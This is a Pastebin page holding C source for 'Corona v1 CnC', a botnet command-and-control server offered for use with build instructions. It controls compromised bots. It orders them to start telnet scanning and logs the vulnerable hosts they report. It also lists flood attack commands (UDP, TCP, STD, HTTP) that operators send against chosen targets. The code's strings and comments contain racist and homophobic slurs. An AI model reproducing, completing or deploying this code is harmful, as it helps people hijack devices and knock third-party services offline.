Advertisement
vSparkzyy

Corona v1 CnC By vSparkzyy

May 10th, 2018
877
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 37.64 KB | None | 0 0
  1. /*
  2.                                 Corona CnC By vSparkzyy
  3. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ How To Use: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4. Edit cnc port in the CnC settings  
  5. users.sql is where you add users
  6.  
  7. If you would like to add users in the screen, compile like the following
  8. gcc cnc.c -o cnc -pthread -DUser
  9. if not just compile and screen it the normal way  
  10.  
  11. *** Yes i got the add users in the screen from Jonah *** ~ but hey atleast i give credit.
  12.  
  13. I would much rather you NOT Modify this, how ever skids being skids still will
  14. so if you do, atleast give fucking credit
  15.  
  16. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  17. */
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netdb.h>
  24. #include <unistd.h>
  25. #include <time.h>
  26. #include <fcntl.h>
  27. #include <sys/epoll.h>
  28. #include <errno.h>
  29. #include <pthread.h>
  30. #include <signal.h>
  31.  
  32. //////////////CnC SETTINGS///////////
  33.  
  34. #define MAXFDS 1000000
  35. #define PORT 12
  36.  
  37. char *ss_name = "Corona";
  38. char *ss_copyright = "vSparkzyy";
  39. char *ss_ver = "1.0";
  40.  
  41. ////////////////////////////////////
  42. struct account {
  43.     char id[200];
  44.     char password[200];
  45. };
  46. static struct account accounts[15]; //max users
  47. struct clientdata_t {
  48.         uint32_t ip;
  49.         char build[7];
  50.         char connected;
  51. } clients[MAXFDS];
  52. struct telnetdata_t {
  53.         int connected;
  54. } managements[MAXFDS];
  55. ////////////////////////////////////
  56. static volatile FILE *telFD;
  57. static volatile FILE *fileFD;
  58. static volatile int epollFD = 0;
  59. static volatile int listenFD = 0;
  60. static volatile int managesConnected = 0;
  61. static volatile int TELFound = 0;
  62. static volatile int scannerreport;
  63. ////////////////////////////////////
  64. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  65. {
  66.         int total = 0, got = 1;
  67.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  68.         return got;
  69. }
  70. void trim(char *str)
  71. {
  72.     int i;
  73.     int begin = 0;
  74.     int end = strlen(str) - 1;
  75.     while (isspace(str[begin])) begin++;
  76.     while ((end >= begin) && isspace(str[end])) end--;
  77.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  78.     str[i - begin] = '\0';
  79. }
  80. static int make_socket_non_blocking (int sfd)
  81. {
  82.         int flags, s;
  83.         flags = fcntl (sfd, F_GETFL, 0);
  84.         if (flags == -1)
  85.         {
  86.                 perror ("fcntl");
  87.                 return -1;
  88.         }
  89.         flags |= O_NONBLOCK;
  90.         s = fcntl (sfd, F_SETFL, flags);
  91.         if (s == -1)
  92.         {
  93.                 perror ("fcntl");
  94.                 return -1;
  95.         }
  96.         return 0;
  97. }
  98. static int create_and_bind (char *port)
  99. {
  100.         struct addrinfo hints;
  101.         struct addrinfo *result, *rp;
  102.         int s, sfd;
  103.         memset (&hints, 0, sizeof (struct addrinfo));
  104.         hints.ai_family = AF_UNSPEC;
  105.         hints.ai_socktype = SOCK_STREAM;
  106.         hints.ai_flags = AI_PASSIVE;
  107.         s = getaddrinfo (NULL, port, &hints, &result);
  108.         if (s != 0)
  109.         {
  110.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  111.                 return -1;
  112.         }
  113.         for (rp = result; rp != NULL; rp = rp->ai_next)
  114.         {
  115.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  116.                 if (sfd == -1) continue;
  117.                 int yes = 1;
  118.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  119.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  120.                 if (s == 0)
  121.                 {
  122.                         break;
  123.                 }
  124.                 close (sfd);
  125.         }
  126.         if (rp == NULL)
  127.         {
  128.                 fprintf (stderr, "Fuck Boy Change The Port You idiot\n");
  129.                 return -1;
  130.         }
  131.         freeaddrinfo (result);
  132.         return sfd;
  133. }
  134. void broadcast(char *msg, int us, char *sender)
  135. {
  136.         int sendMGM = 1;
  137.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  138.         char *wot = malloc(strlen(msg) + 10);
  139.         memset(wot, 0, strlen(msg) + 10);
  140.         strcpy(wot, msg);
  141.         trim(wot);
  142.         time_t rawtime;
  143.         struct tm * timeinfo;
  144.         time(&rawtime);
  145.         timeinfo = localtime(&rawtime);
  146.         char *timestamp = asctime(timeinfo);
  147.         trim(timestamp);
  148.         int i;
  149.         for(i = 0; i < MAXFDS; i++)
  150.         {
  151.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  152.                 if(sendMGM && managements[i].connected)
  153.                 {
  154.                         send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  155.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  156.                         send(i, ": ", 2, MSG_NOSIGNAL);
  157.                 }
  158.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);;
  159.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31mCorona@Botnet]: \x1b[0m", 30, MSG_NOSIGNAL);
  160.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  161.         }
  162.         free(wot);
  163. }
  164. void *epollEventLoop(void *useless)
  165. {
  166.         struct epoll_event event;
  167.         struct epoll_event *events;
  168.         int s;
  169.         events = calloc (MAXFDS, sizeof event);
  170.         while (1)
  171.         {
  172.                 int n, i;
  173.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  174.                 for (i = 0; i < n; i++)
  175.                 {
  176.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  177.                         {
  178.                                 clients[events[i].data.fd].connected = 0;
  179.                                 close(events[i].data.fd);
  180.                                 continue;
  181.                         }
  182.                         else if (listenFD == events[i].data.fd)
  183.                         {
  184.                                 while (1)
  185.                                 {
  186.                                         struct sockaddr in_addr;
  187.                                         socklen_t in_len;
  188.                                         int infd, ipIndex;
  189.                                         in_len = sizeof in_addr;
  190.                                         infd = accept (listenFD, &in_addr, &in_len);
  191.                                         if (infd == -1)
  192.                                         {
  193.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  194.                                                 else
  195.                                                 {
  196.                                                         perror ("accept");
  197.                                                         break;
  198.                                                 }
  199.                                         }
  200.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  201.                                         int dup = 0;
  202.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  203.                                         {
  204.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  205.                                            //WE ARE MAKING SURE THERE IS NO DUP CLIENTS
  206.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  207.                                                 {
  208.                                                         dup = 1;
  209.                                                         break;
  210.                                                 }
  211.                                         }
  212.  
  213.                                         if(dup)
  214.                                         {                  //WE ARE MAKE SURE AGAIN HERE BY SENDING !* LOLNOGTFO|!* GTFOFAG
  215.                                                 if(send(infd, "!* GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  216.                                                 if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  217.                                                 if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  218.                                                 if(send(infd, "!* DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  219.                                                 if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  220.                                                 if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  221.                                                 close(infd);
  222.                                                 continue;
  223.                                         }
  224.  
  225.                                         s = make_socket_non_blocking (infd);
  226.                                         if (s == -1) { close(infd); break; }
  227.  
  228.                                         event.data.fd = infd;
  229.                                         event.events = EPOLLIN | EPOLLET;
  230.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  231.                                         if (s == -1)
  232.                                         {
  233.                                                 perror ("epoll_ctl");
  234.                                                 close(infd);
  235.                                                 break;
  236.                                         }
  237.  
  238.                                         clients[infd].connected = 1;
  239.                                         send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  240.                                         send(infd, "!* FATCOCK\n", 11, MSG_NOSIGNAL);
  241.                                        
  242.                                 }
  243.                                 continue;
  244.                         }
  245.                         else
  246.                         {
  247.                                 int thefd = events[i].data.fd;
  248.                                 struct clientdata_t *client = &(clients[thefd]);
  249.                                 int done = 0;
  250.                                 client->connected = 1;
  251.                                 while (1)
  252.                                 {
  253.                                         ssize_t count;
  254.                                         char buf[2048];
  255.                                         memset(buf, 0, sizeof buf);
  256.  
  257.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  258.                                         {
  259.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  260.                                                 trim(buf);
  261.                                                 if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  262.                                                 {
  263.                                                 if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  264.                                                         continue;
  265.                                                 }
  266.                                                 if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  267.                                                 {
  268.                                                         char *line = strstr(buf, "REPORT ") + 7;
  269.                                                         fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  270.                                                         fflush(telFD);
  271.                                                         TELFound++;
  272.                                                         continue;
  273.                                                 }
  274.                                                 if(strstr(buf, "PROBING") == buf)
  275.                                                 {
  276.                                                         char *line = strstr(buf, "PROBING");
  277.                                                         scannerreport = 1;
  278.                                                         continue;
  279.                                                 }
  280.                                                 if(strstr(buf, "REMOVING PROBE") == buf)
  281.                                                 {
  282.                                                         char *line = strstr(buf, "REMOVING PROBE");
  283.                                                         scannerreport = 0;
  284.                                                         continue;
  285.                                                 }
  286.                                                 if(strcmp(buf, "PONG") == 0)
  287.                                                 {
  288.                                                         continue;
  289.                                                 }
  290.  
  291.                                                 printf("buf: \"%s\"\n", buf);
  292.                                         }
  293.  
  294.                                         if (count == -1)
  295.                                         {
  296.                                                 if (errno != EAGAIN)
  297.                                                 {
  298.                                                         done = 1;
  299.                                                 }
  300.                                                 break;
  301.                                         }
  302.                                         else if (count == 0)
  303.                                         {
  304.                                                 done = 1;
  305.                                                 break;
  306.                                         }
  307.                                 }
  308.  
  309.                                 if (done)
  310.                                 {
  311.                                         client->connected = 0;
  312.                                         close(thefd);
  313.                                 }
  314.                         }
  315.                 }
  316.         }
  317. }
  318. void client_addr(struct sockaddr_in addr){
  319.         printf("IP:%d.%d.%d.%d\n",
  320.         addr.sin_addr.s_addr & 0xFF,
  321.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  322.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  323.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  324.         FILE *logFile;
  325.         logFile = fopen("report.sql", "a");
  326.         fprintf(logFile, "\nIncoming Connnection From :%d.%d.%d.%d ",
  327.         addr.sin_addr.s_addr & 0xFF,
  328.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  329.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  330.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  331.         fclose(logFile);
  332. }
  333.  
  334. unsigned int clientsConnected()
  335. {
  336.         int i = 0, total = 0;
  337.         for(i = 0; i < MAXFDS; i++)
  338.         {
  339.                 if(!clients[i].connected) continue;
  340.                 total++;
  341.         }
  342.  
  343.         return total;
  344. }
  345. void *titleWriter(void *sock)
  346. {
  347.         int thefd = (int)sock;
  348.         char string[2048];
  349.         while(1)
  350.         {
  351.                 memset(string, 0, 2048);
  352.                 sprintf(string, "%c]0; Loaded: %d | Users Online: %d %c", '\033', clientsConnected(), managesConnected, '\007');
  353.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  354.  
  355.                 sleep(3);
  356.         }
  357. }
  358. int Search_in_File(char *str)
  359. {
  360.     FILE *fp;
  361.     int line_num = 0;
  362.     int find_result = 0, find_line=0;
  363.     char temp[512];
  364.  
  365.     if((fp = fopen("users.sql", "r")) == NULL){
  366.         return(-1);
  367.     }
  368.     while(fgets(temp, 512, fp) != NULL){
  369.         if((strstr(temp, str)) != NULL){
  370.             find_result++;
  371.             find_line = line_num;
  372.         }
  373.         line_num++;
  374.     }
  375.     if(fp)
  376.         fclose(fp);
  377.  
  378.     if(find_result == 0)return 0;
  379.  
  380.     return find_line;
  381. }
  382.  
  383. void *telnetWorker(void *sock)
  384. {
  385.         char usernamez[80];
  386.         int thefd = (int)sock;
  387.         int find_line;
  388.         managesConnected++;
  389.         pthread_t title;
  390.         char counter[2048];
  391.         memset(counter, 0, 2048);
  392.         char buf[2048];
  393.         char* nickstring;
  394.         char* username;
  395.         char* password;
  396.         memset(buf, 0, sizeof buf);
  397.         char botnet[2048];
  398.         memset(botnet, 0, 2048);
  399.    
  400.         FILE *fp;
  401.         int i=0;
  402.         int c;
  403.         fp=fopen("users.sql", "r");
  404.         while(!feof(fp))
  405.         {
  406.                 c=fgetc(fp);
  407.                 ++i;
  408.         }
  409.         int j=0;
  410.         rewind(fp);
  411.         while(j!=i-1)
  412.         {
  413.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  414.             ++j;
  415.         }
  416.        
  417.         char login1 [5000];
  418.         char login2 [5000];
  419.         char login3 [5000];
  420.         char login4 [5000];
  421.         char login5 [5000];
  422.         char login6 [5000];
  423.         char login7 [5000];
  424.         char login8 [5000];
  425.         char login9 [5000];
  426.  
  427.  
  428.         sprintf(login2,  "\e[0;36m\e[0;36m\e[0m[\e[0;32m+\e[0m] Welcome To %s Version %s By %s\e[0;36m\e[0m[\e[0;32m+\e[0m]\x1b[37m\r\n", ss_name, ss_ver, ss_copyright);
  429.         sprintf(login3,  "\e[0;36m\e[0;36m\e[0m[\e[0;32m+\e[0m] Please Respect Others And Bot Count \e[0;36m\e[0m[\e[0;32m+\e[0m]\x1b[37m\r\n");
  430.         sprintf(login4,  "\e[0;36m\e[0;36m\e[0m[\e[0;32m+\e[0m] NO Spamming Attacks \e[0;36m\e[0m[\e[0;32m+\e[0m]\x1b[37m\ \r\n");
  431.         sprintf(login5,  "\e[0;36m\e[0;36m\e[0m[\e[0;32m+\e[0m] Dont Share Logins \e[0;36m\e[0m[\e[0;32m+\e[0m]\x1b[37m\r\n");
  432.         sprintf(login8,  "\e[0;36m\e[0;36m\e[0m[\e[0;32m+\e[0m] Enter Credentials To Join The BotNet \e[0;36m\e[0m[\e[0;32m+\e[0m]\x1b[37m\r\n");
  433.        
  434.         if(send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  435.         if(send(thefd, login2, strlen(login2), MSG_NOSIGNAL) == -1) goto end;
  436.         if(send(thefd, login3, strlen(login3), MSG_NOSIGNAL) == -1) goto end;
  437.         if(send(thefd, login4, strlen(login4), MSG_NOSIGNAL) == -1) goto end;
  438.         if(send(thefd, login5, strlen(login5), MSG_NOSIGNAL) == -1) goto end;
  439.         if(send(thefd, login8, strlen(login8), MSG_NOSIGNAL) == -1) goto end;
  440.  
  441.        
  442.        
  443.         if(send(thefd, "\e[1;34mUsername\e[1;33m: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  444.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  445.         trim(buf);
  446.         sprintf(usernamez, buf);
  447.         nickstring = ("%s", buf);
  448.         find_line = Search_in_File(nickstring);
  449.         if(strcmp(nickstring, accounts[find_line].id) == 0){   
  450.         if(send(thefd, "\e[1;34mPassword\e[1;33m: ", 23, MSG_NOSIGNAL) == -1) goto end;
  451.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  452.         if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  453.  
  454.         trim(buf);
  455.        
  456.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  457.         memset(buf, 0, 2048);
  458.         goto fak;
  459.         }
  460.         failed:
  461.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  462.         if(send(thefd, "\x1b[34mError, Incorrect Login Credentials\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  463.         FILE *logFile;
  464.         logFile = fopen("logins.sql", "a");
  465.         fprintf(logFile, "[Failed Login Attempt] \n");
  466.         fclose(logFile);
  467.         broadcast(buf, thefd, usernamez);
  468.         memset(buf, 0, 2048);
  469.         sleep(5);
  470.         goto end;
  471.         fak:
  472.        
  473.         pthread_create(&title, NULL, &titleWriter, sock);
  474.         char line1  [5000];
  475.         char line2  [5000];
  476.         char line3  [5000];
  477.         char line4  [5000];
  478.         char line5  [5000];
  479.         char line6  [5000];
  480.         char line7  [5000];
  481.         char line8  [5000];
  482.         char line9  [5000];
  483.         char line10 [5000];
  484.         char line11 [5000];
  485.                                                                
  486.         sprintf(line1, "\e[0;36mWelcome \e[0;31m%s\e[0;36m To The Corona CnC. Version: [\e[0;31m%s\e[0;36m] \r\n", accounts[find_line].id, ss_ver, buf);
  487.         sprintf(line2, "\e[0;31mCorona \e[0;36mWhere Only The Top Botnetoligists Come To Control Their Slaves. \r\n", accounts[find_line].id, ss_ver, buf);
  488.         sprintf(line3,"\e[0;31m[\e[0;36mCorona\e[0;31m@\e[0;36mBotnet\e[0;31m\e[0;31m]: \e[0m");
  489.        
  490.         if(send(thefd, line1,  strlen(line1),  MSG_NOSIGNAL) == -1) goto end;
  491.         if(send(thefd, line2,  strlen(line2),  MSG_NOSIGNAL) == -1) goto end;
  492.         if(send(thefd, line3,  strlen(line3),  MSG_NOSIGNAL) == -1) goto end;
  493.         if(send(thefd, line4,  strlen(line4),  MSG_NOSIGNAL) == -1) goto end;
  494.         if(send(thefd, line5,  strlen(line5),  MSG_NOSIGNAL) == -1) goto end;
  495.         if(send(thefd, line6,  strlen(line6),  MSG_NOSIGNAL) == -1) goto end;
  496.         if(send(thefd, line7,  strlen(line7),  MSG_NOSIGNAL) == -1) goto end;
  497.         if(send(thefd, line8,  strlen(line8),  MSG_NOSIGNAL) == -1) goto end;
  498.         if(send(thefd, line9,  strlen(line9),  MSG_NOSIGNAL) == -1) goto end;
  499.         if(send(thefd, line10, strlen(line10), MSG_NOSIGNAL) == -1) goto end;
  500.         if(send(thefd, line11, strlen(line11), MSG_NOSIGNAL) == -1) goto end;      
  501.         pthread_create(&title, NULL, &titleWriter, sock);
  502.         managements[thefd].connected = 1;
  503.        
  504.         while(fdgets(buf, sizeof buf, thefd) > 0)
  505.         {
  506.         if(strstr(buf, "help") || strstr(buf, "HELP"))
  507.         {
  508.           sprintf(botnet, "\e[1;33mcmds - Shows available attack methods\r\n", TELFound, scannerreport);
  509.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  510.           sprintf(botnet, "banners - Shows available banners\r\n", TELFound, scannerreport);
  511.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  512.           sprintf(botnet, "bots - Shows bot count\r\n", TELFound, scannerreport);
  513.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  514.           sprintf(botnet, "cls - Clears screen\r\n", TELFound, scannerreport);
  515.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  516.           sprintf(botnet, "info - Shows cnc info\r\n", TELFound, scannerreport);
  517.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  518.         }  
  519.        
  520.         if(strstr(buf, "bots"))
  521.         {  
  522.           sprintf(botnet, "\e[1;33mUsers: [%d]\r\nBots: [%d]\r\n\x1b[37m", managesConnected, clientsConnected());
  523.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  524.         }
  525.         if(strstr(buf, "banners"))
  526.         {  
  527.           sprintf(botnet, "\e[1;33msenpai - Senpai Banner\r\n", TELFound, scannerreport);
  528.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  529.           sprintf(botnet, "banksy - Banksy Banner\r\n", TELFound, scannerreport);
  530.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  531.           sprintf(botnet, "error - Error Banner\r\n", TELFound, scannerreport);
  532.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  533.         }      
  534.         if(strstr(buf, "info"))
  535.         {  
  536.         sprintf(botnet, "\e[1;33m%s version: [%s] by %s \r\n", ss_name, ss_ver, ss_copyright);
  537.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  538.         }
  539.         if(strstr(buf, "!* SCANNER OFF"))
  540.         {  
  541.         sprintf(botnet, "TELNET SCANNER STOPPED\r\n");
  542.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  543.         }
  544.         if(strstr(buf, "STD") || strstr(buf, "UDP") || strstr(buf, "TCP") || strstr(buf, "HTTP") || strstr(buf, "RAWUDP") || strstr(buf, "UNKNOWN"))
  545.         {  
  546.         sprintf(botnet, "Succesfully Sent Attack!\r\n");
  547.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  548.         }
  549.         if(strstr(buf, "cmds"))
  550.         {  
  551.           sprintf(botnet, "\e[1;33mUDP: !* UDP IP PORT TIME 32 0 10\r\n");
  552.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  553.           sprintf(botnet, "TCP: !* TCP IP PORT TIME 32 METHOD 0 10\r\n");
  554.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  555.           sprintf(botnet, "STD: !* STD IP PORT TIME \r\n");
  556.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  557.           sprintf(botnet, "HTTP: !* HTTP METHOD TARGET PORT PATH TIME 150\r\n");
  558.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  559.         }
  560.        
  561.         if(strstr(buf, "senpai")) {
  562.         if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  563.        
  564.  
  565.         char senpai1 [5000];
  566.         char senpai2 [5000];
  567.         char senpai3 [5000];
  568.         char senpai4 [5000];
  569.         char senpai5 [5000];
  570.         char senpai6 [5000];
  571.         char senpai7 [5000];
  572.         char senpai8 [5000];
  573.         char senpai9 [5000];
  574.  
  575.  
  576.         sprintf(senpai2,  "\x1b[1;35m        ███████\x1b[1;36m╗\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m███\x1b[1;36m╗   \x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██████\x1b[1;36m╗  \x1b[1;35m█████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╗\r\n");
  577.         sprintf(senpai3,  "\x1b[1;35m        ██\x1b[1;36m╔════╝\x1b[1;35m██\x1b[1;36m╔════╝\x1b[1;35m████\x1b[1;36m╗  \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\r\n");
  578.         sprintf(senpai4,  "\x1b[1;35m        ███████\x1b[1;36m╗\x1b[1;35m█████\x1b[1;36m╗  \x1b[1;35m██\x1b[1;36m╔\x1b[1;35m██\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██████\x1b[1;36m╔╝\x1b[1;35m███████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n");
  579.         sprintf(senpai5,  "\x1b[1;36m        ╚════\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══╝  \x1b[1;35m██\x1b[1;36m║╚\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔═══╝ \x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n");
  580.         sprintf(senpai6,  "\x1b[1;35m        ███████\x1b[1;36m║\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║ ╚\x1b[1;35m████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║     \x1b[1;35m██\x1b[1;36m║  \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n");
  581.         sprintf(senpai7,  "\x1b[1;36m        ╚══════╝╚══════╝╚═╝  ╚═══╝╚═╝     ╚═╝  ╚═╝╚═╝\r\n");
  582.         sprintf(senpai8,  "\e[0;36m                        \e[0;36m\e[0m[\e[0;32m+\e[0m] Type help for Commands \e[0;36m\e[0m[\e[0;32m+\e[0m]\x1b[37m\r\n");
  583.         sprintf(senpai9, "\e[0;31m[\e[0;36mCorona\e[0;31m@\e[0;36mBotnet\e[0;31m\e[0;31m]: \e[0m", usernamez);
  584.        
  585.         if(send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  586.         if(send(thefd, senpai2, strlen(senpai2), MSG_NOSIGNAL) == -1) goto end;
  587.         if(send(thefd, senpai3, strlen(senpai3), MSG_NOSIGNAL) == -1) goto end;
  588.         if(send(thefd, senpai4, strlen(senpai4), MSG_NOSIGNAL) == -1) goto end;
  589.         if(send(thefd, senpai5, strlen(senpai5), MSG_NOSIGNAL) == -1) goto end;
  590.         if(send(thefd, senpai6, strlen(senpai6), MSG_NOSIGNAL) == -1) goto end;
  591.         if(send(thefd, senpai7, strlen(senpai7), MSG_NOSIGNAL) == -1) goto end;
  592.         if(send(thefd, senpai8, strlen(senpai8), MSG_NOSIGNAL) == -1) goto end;
  593.         if(send(thefd, senpai9, strlen(senpai8), MSG_NOSIGNAL) == -1) goto end;
  594.         while(1) {
  595.         break;
  596.         }
  597.         continue;
  598.        
  599.         }
  600.        
  601.         if(strstr(buf, "error")) {
  602.         if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  603.        
  604.  
  605.         char error1 [5000];
  606.         char error2 [5000];
  607.         char error3 [5000];
  608.         char error4 [5000];
  609.         char error5 [5000];
  610.         char error6 [5000];
  611.         char error7 [5000];
  612.         char error8 [5000];
  613.         char error9 [5000];
  614.  
  615.  
  616.         sprintf(error2,  "\e[0;35m      ███████\e[1;34m╗\e[0;35m██████\e[1;34m╗\e[0;35m ██████\e[1;34m╗\e[0;35m  ██████\e[1;34m╗\e[0;35m ██████\e[1;34m╗ \r\n");
  617.         sprintf(error3,  "\e[0;35m      ██\e[1;34m╔════╝\e[0;35m██\e[1;34m╔══\e[0;35m██\e[1;34m╗\e[0;35m██\e[1;34m╔══\e[0;35m██\e[1;34m╗\e[0;35m██\e[1;34m╔═══\e[0;35m██\e[1;34m╗\e[0;35m██\e[1;34m╔══\e[0;35m██\e[1;34m╗\r\n");
  618.         sprintf(error4,  "\e[0;35m      █████\e[1;34m╗\e[0;35m  ██████\e[1;34m╔╝\e[0;35m██████\e[1;34m╔╝\e[0;35m██\e[1;34m║  \e[0;35m ██\e[1;34m║\e[0;35m██████\e[1;34m╔╝\r\n");
  619.         sprintf(error5,  "\e[0;35m      ██\e[1;34m╔══╝ \e[0;35m ██\e[1;34m╔══\e[0;35m██\e[1;34m╗\e[0;35m██\e[1;34m╔══\e[0;35m██\e[1;34m╗\e[0;35m██\e[1;34m║   \e[0;35m██\e[1;34m║\e[0;35m██\e[1;34m╔══\e[0;35m██\e[1;34m╗\r\n");
  620.         sprintf(error6,  "\e[0;35m      ███████\e[1;34m╗\e[0;35m██\e[1;34m║  \e[0;35m██\e[1;34m║\e[0;35m██\e[1;34m║ \e[0;35m ██\e[1;34m║╚\e[0;35m██████\e[1;34m╔╝\e[0;35m██\e[1;34m║ \e[0;35m ██\e[1;34m║\r\n");
  621.         sprintf(error7,  "\e[1;34m      ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═╝\r\n");
  622.         sprintf(error8,  "\e[0;36m\e[0m                  [\e[0;32m+\e[0m] Type help for Commands \e[0;36m\e[0m[\e[0;32m+\e[0m]\x1b[37m\r\n");
  623.         sprintf(error9,  "\e[0;31m[\e[0;36mCorona\e[0;31m@\e[0;36mBotnet\e[0;31m\e[0;31m]: \e[0m", usernamez);
  624.        
  625.         if(send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  626.         if(send(thefd, error2, strlen(error2), MSG_NOSIGNAL) == -1) goto end;
  627.         if(send(thefd, error3, strlen(error3), MSG_NOSIGNAL) == -1) goto end;
  628.         if(send(thefd, error4, strlen(error4), MSG_NOSIGNAL) == -1) goto end;
  629.         if(send(thefd, error5, strlen(error5), MSG_NOSIGNAL) == -1) goto end;
